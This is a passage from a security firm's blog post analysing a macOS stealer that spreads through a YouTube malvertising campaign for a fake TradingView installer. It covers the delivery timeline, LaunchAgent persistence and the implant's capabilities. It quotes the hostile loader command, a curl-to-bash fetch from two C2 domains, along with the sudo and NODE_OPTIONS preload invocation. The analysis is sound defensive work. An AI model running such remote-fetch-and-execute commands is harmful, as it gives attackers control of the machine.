From YouTube Ad to Root: How a Fake TradingView Installer Delivers a macOS Stealer - Real-time Open Source Software Supply Chain Security

Login Start for Free 1.5k

Back Discover & Monitor<br>SCA & SBOM Scan dependencies, generate SBOMs, enforce policy.

AI Agent Discovery See every AI tool and SDK in your org.

AI Agent Monitoring Audit every action your AI agents take.

Protect<br>Developer Security Block malicious packages at install-time.

CI/CD Security Block malicious packages in your pipeline.

MCP Server Block threats inside your AI coding agent.

Agent API Threat intelligence API for custom agents.

Threat Intelligence Real-time malicious package verdicts.

Govern<br>Endpoint Protection Package events & AI inventory in the cloud.

Platform Centralized policies, dashboard, compliance.

Open Source<br>Vet Scan and govern your dependencies across every PR and build.

PMG Block malicious packages at install-time, before they enter your codebase.

xbom Generate AI-enriched BOMs using real code evidence, not just manifests.

GRYPH Monitor every AI coding agent action across your projects and workflows.

Login Start for Free 1.5k

Back to Blog

From YouTube Ad to Root: How a Fake TradingView Installer Delivers a macOS Stealer<br>Malware

SafeDep Team<br>• Aug 21, 2026 • 12 min read

On this page 12 sections

On this page

` rules instead of the old inline `prose-* / [&_…]`<br>modifier string — that string compiled to ~40 complex selectors that<br>Chrome iOS (WKWebView) re-matched on every scroll recalc, blanking the<br>page. Base `prose prose-lg prose-invert` reset is kept. Running text is<br>capped at a readable measure in that file; code blocks, tables, and<br>embeds intentionally span the full column.<br>-->

TL;DR

We analyzed a macOS implant recovered from a compromised workstation. The infection started with a Google video ad on YouTube that impersonated TradingView and led to a fake .pkg installer. The malware itself is a full remote-controlled task runner, not a single-purpose stealer. It persists through a LaunchAgent that re-downloads a shell stager every five minutes and executes it. The stager fetches arbitrary bash from the command and control (C2) server and runs it through eval. The main payload is a bundled Node.js application, shipped as AES-256-CBC encrypted V8 bytecode and decrypted only in memory. Six native modules provide the invasive capabilities: keylogging, screen capture, keychain access, user interface automation to grant privacy permissions, and a local TLS-intercepting proxy. A rogue root certificate authority (CA) in the System keychain makes the interception trusted.

Impact:

Delivery was a paid YouTube video ad, so any user in the targeted audience was a potential victim

Every HTTPS session on the host is intercepted through a local proxy on 127.0.0.1:49313

The user’s sudo password is cached in plaintext at /Users/Shared/.passwd

Browser databases, wallet extension state, keychain items, keystrokes, and screen content are all in scope

Persistence survives launchctl disable and process kills; attempted termination re-enables the LaunchAgent

How we found it

The host had three suspicious processes in a single tree:

PIDCommandRole1109/bin/bash -c curl -fsSL --noproxy '*' https://velvetforge.net | bash || curl ... cedarengine.com | bashLoader, spawned by launchd1301sudo -S -p env KEY=... TOKEN= NODE_OPTIONS=--require ./preload.js ./node app.jsPrivilege escalation1304./node app.jsThe implant, running as root

Three details stand out immediately. The --noproxy '*' flag bypasses any corporate egress inspection. The sudo -S -p invocation reads a password from standard input, consistent with a phished credential. And NODE_OPTIONS=--require ./preload.js forces Node.js to run attacker code before the main script.

The loader references two domains: velvetforge.net and cedarengine.com. These are the implant’s command and control (C2) servers, with the second acting as a fallback when the first fails. Both appear throughout the rest of this analysis.

Delivery through a YouTube ad for a fake TradingView installer

The delivery vector is confirmed from browser history forensics. It was not a paste-into-Terminal lure. It was malvertising.

On July 26, 2026, the user clicked an in-video ad on YouTube titled “FREE 1 Year TradingView Subscription Claim Now for Installing Desktop App”. Google Ads records show the click type video_click_to_advertiser_site, campaign identifier 24022739496, and a click ID (gclid). The attacker paid Google to run this placement.

The chain from click to compromise took two minutes:

Time (UTC)Event14:16:00Ad click through googleadservices.com to attacker-uploaded YouTube video jfTdpYsvVz014:16:09Description-link click to tradingview.15years-ultimate-utility.com, redirecting to 15th-anniversary-free.com14:16:20Download of latest_v19.398.7_setup.pkg (2,081,181 bytes)14:16:59Sudo password written to /Users/Shared/.passwd14:17:00sLaunchAgent plist created

Both redirect domains are...